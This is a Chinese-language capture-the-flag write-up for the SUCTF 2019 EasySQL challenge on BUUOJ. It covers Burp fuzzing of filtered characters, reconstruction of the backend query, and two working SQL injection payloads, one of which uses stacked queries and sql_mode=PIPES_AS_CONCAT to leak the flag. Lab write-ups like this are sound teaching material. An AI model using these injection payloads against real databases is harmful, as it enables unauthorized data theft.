题目地址:https://buuoj.cn/challenges#[SUCTF%202019]EasySQL
SQL查询,观察回显,这里应该是用var_dump()
输出
在测试查询的时候发现有些字符能使用,有些字符被过滤了,因此查询点进行fuzz测试,看看过滤了哪些字符
回包长度为523的都是可以使用的,其他的字符均已被过滤
PS:这里使用Burp进行fuzz的线程不要开太高,容易报429,fuzz的字符不多可以慢慢跑
;
可以使用,尝试堆叠注入
首先这里的query
参数无论我们输入数字什么都只会回显Array([0]= > 1)
,输入字母不会显,但是也没显示是过滤的,所以query
的值如果为非数字则无法正确查询得到数据回显,那么查询语句就应该长这样
$sql = "select ".$post['query']."||flag from Flag";
知道查询语句了就好做了,先看一个非预期解
非预期解
||
在SQL语句中表示或
,在查询表中的字段内容时,逗号,
用于查询多个字段名
payload
*,1
预期解
通过修改SQL配置将或运算符||
设置为连接符
set sql_mode=PIPES_AS_CONCAT;
payload
1;set sql_mode=PIPES_AS_CONCAT;select 1
这样拼接得到的语句就应该是
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag;